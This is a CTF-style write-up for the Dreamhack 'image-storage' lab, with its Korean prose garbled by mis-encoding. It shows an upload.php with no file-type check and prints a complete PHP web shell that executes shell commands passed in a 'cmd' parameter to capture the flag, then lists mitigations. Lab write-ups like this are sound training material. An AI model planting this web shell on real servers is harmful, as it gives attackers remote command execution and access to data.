๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level1: image-storage

by Yun2๐Ÿ‘ 2023. 8. 26.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

php๋กœ ์ž‘์„ฑ๋œ ํŒŒ์ผ ์ €์žฅ ์„œ๋น„์Šค์ด๋‹ค.

ํŒŒ์ผ ์—…๋กœ๋“œ ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“. ํ”Œ๋ž˜๊ทธ๋Š” /flag.txt์— ์žˆ๋‹ค.

 

๐Ÿ‘พ Exploit Algorithm & Payload

> index.php

๋”๋ณด๊ธฐ
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/>
    <div class="container">
    	<h2>Upload and Share Image !</h2>
    </div> 
</body>
</html>

> list.php

๋”๋ณด๊ธฐ
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container"><ul>
    <?php
        $directory = './uploads/';
        $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
        foreach ($scanned_directory as $key => $value) {
            echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
        }
    ?> 
    </ul></div> 
</body>
</html>

> upload.php

๋”๋ณด๊ธฐ
<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Image Storage</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Image Storage</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/list.php">List</a></li>
            <li><a href="/upload.php">Upload</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <form enctype='multipart/form-data' method="POST">
        <div class="form-group">
          <label for="InputFile">ํŒŒ์ผ ์—…๋กœ๋“œ</label>
          <input type="file" id="InputFile" name="file">
        </div>
        <input type="submit" class="btn btn-default" value="Upload">
      </form>
    </div> 
</body>
</html>

 

 

#1


: '/upload.php' ํŽ˜์ด์ง€์—์„œ ํŒŒ์ผ์„ ์—…๋กœ๋“œ ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

 

: '/list.php' ํŽ˜์ด์ง€์—์„œ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•˜๋ฉด ๋ชฉ๋ก์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

 

 

#2


: .php ํ™•์žฅ์ž๋กœ ์—…๋กœ๋“œ ์‹œ๋„ํ•˜์˜€๋”๋‹ˆ './uploads/'๋ผ๋Š” ๊ฒฝ๋กœ์— upload.php๊ฐ€ ์ €์žฅ๋œ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: URL์— /uploads๋ผ๋Š” ํด๋”์— ์ ‘๊ทผํ•˜์˜€๋”๋‹ˆ ํด๋” ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•œ ๊ฒƒ์œผ๋กœ ํ™•์ธ๋œ๋‹ค.

 

 

: ๋˜ํ•œ '/list.php' ํŽ˜์ด์ง€์— ๋ฐฉ๊ธˆ ์—…๋กœ๋“œ ํ–ˆ๋˜ ํŒŒ์ผ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ , ํด๋ฆญ ์‹œ '/uploads/test.php' ํŒŒ์ผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค. 

: ์—ฌ๊ธฐ์„œ๋Š” ํŒŒ์ผ ์—…๋กœ๋“œ๊ฐ€ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด์„œ .php ํ™•์žฅ์ž์— ์•„๋ฌด๊ฒƒ๋„ ์ž…๋ ฅํ•˜์ง€ ์•Š์•„ ๊ฒฐ๊ณผ ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์—†์—ˆ์ง€๋งŒ .php ๋ฐฑ๋„์–ด ์‰˜ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ์‹œ์Šคํ…œ์˜ ํด๋”์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋œ๋‹ค.

 

 

#3


๋”๋ณด๊ธฐ
<?php
    echo 'Enter a Command:<br>';
    echo '<form action="">';
    echo '<input type=text name="cmd">';
    echo '<input type="submit">';
    echo '</form>';

    if (isset($_GET['cmd'])) {
        $commands = explode("\n", $_GET['cmd']); // Split commands by newline
        foreach ($commands as $command) {
            $output = shell_exec($command); // Execute each command
            echo "<pre>$command:\n$output</pre><br>"; // Display command and output
        }
    }
?>

: .php ๋ฐฑ๋„์–ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•œ ํ›„ ์—…๋กœ๋“œํ•˜๋ฉด '/uploads/exploit.php' ํŒŒ์ผ์—์„œ '?cmd=' ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ด์šฉํ•œ ์‹œ์Šคํ…œ ๋ช…๋ น์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


: ๋ฐฑ๋„์–ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์—…๋กœ๋“œํ•œ ํ›„, ์—…๋กœ๋“œํ•œ ๊ฒฝ๋กœ์—์„œ ์‹œ์Šคํ…œ ๋ช…๋ น์„ ํ†ตํ•ด ํŒŒ์ผ์„ ํƒ์ƒ‰ํ•˜๊ณ  FLAG๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

[+]

: ํ•ด๋‹น ๊ถŒํ•œ์— ๋Œ€ํ•œ ํŒŒ์ผ๋“ค์„ ์—ด๋žŒํ•˜์—ฌ ์ฃผ์š” ์ •๋ณด๋ฅผ ํš๋“ํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

 

 

๐Ÿ“Œ Summary


-๋Œ€์‘๋ฐฉ์•ˆ-

์›น ๋ฆฌ์†Œ์Šค๋Š” ์ •์  ๋ฆฌ์†Œ์Šค(JPG, PNG, MPV, ..)์™€ ๋™์  ๋ฆฌ์†Œ์Šค(PHP, JSP)๋กœ ๋ถ„๋ฅ˜ํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ ๋™์  ๋ฆฌ์†Œ์Šค๋Š” ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์œผ๋กœ ์ด ๋™์  ๋ฆฌ์†Œ์Šค์˜ ํ™•์žฅ์ž๋ฅผ ์ œํ•œํ•œ๋‹ค๋ฉด ํŒŒ์ผ ์—…๋กœ๋“œ ์ทจ์•ฝ์  ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ์„œ๋ฒ„๋ฅผ ๋ณดํ˜ธํ•  ์ˆ˜ ์žˆ์Œ


AWS, Azure, GCP ๋“ฑ์˜ ์ •์  ์Šคํ† ๋ฆฌ์ง€
๋ฅผ ์ด์šฉํ•˜์—ฌ ์„œ๋ฒ„์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ์ด์šฉํ•˜์ง€ ์•Š๊ฒŒ ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ์—…๋กœ๋“œ ์ทจ์•ฝ์ ์„ ์˜ˆ๋ฐฉํ•  ์ˆ˜ ์žˆ์Œ

 

...

 

-File Vulnerability(File upload)-

| Path Traversal |

: ์•…์˜์  ์ด์šฉ์ž๊ฐ€ ์›น ์„œ๋ฒ„์˜ ์†Œ์Šค ์ฝ”๋“œ๋‚˜ ์„œ๋ฒ„์— ์žˆ๋Š” ์ค‘์š” ์‹œ์Šคํ…œ ํŒŒ์ผ์„ ๋ณ€์กฐ ๋ฐ ๋ฎ์–ด์“ฐ๊ธฐ์™€ ๊ฐ™์€ ํ–‰๋™์„ ํ•˜๊ธฐ ์œ„ํ•ด์„œ ์—…๋กœ๋“œ์— ์กด์žฌํ•˜๋Š” ์ œ์•ฝ ์กฐ๊ฑด์„ ์šฐํšŒํ•˜์—ฌ ์ž„์˜์˜ ๋””๋ ‰ํ† ๋ฆฌ์— ํŒŒ์ผ์„ ์ฐพ๊ณ  ์—…๋กœ๋“œํ•˜๋Š” ์ทจ์•ฝ์  (./ , ../ , ๋“ฑ๋“ฑ )

 

| WebShell |

: .jsp, .php ๋“ฑ์˜ ํ™•์žฅ์ž๋กœ ์›ํ•˜๋Š” ์‹œ์Šคํ…œ ๋ช…๋ น์„ ์—…๋กœ๋“œ ์‹œ์ผœ (CGI(Command Graphic Interface)๋กœ ์‹คํ–‰๋˜๋Š” ํŒŒ์ผ) Path Traversal ์ทจ์•ฝ์ ๊ณผ ์—ฐ๊ณ„ํ•˜์—ฌ ์—…๋กœ๋“œ ํด๋”๋ฅผ ๋ฒ—์–ด๋‚˜ ๊ณต๊ฒฉ์ž์˜ ํŒŒ์ผ์„ ์ €์žฅ ๋ฐ ๋ณ€๊ฒฝ ๋“ฑ์˜ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์—…๋กœ๋“œ ์ทจ์•ฝ์ 

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level2: web-ssrf  (0) 2023.09.09
[Dreamhack] Level1: file-download-1  (0) 2023.09.03
[Dreamhack] Level1: command-injection-1  (0) 2023.08.24
[Dreamhack] Level2: Mango  (0) 2023.08.23
[Dreamhack] Level1: simple_sqli  (0) 2023.08.22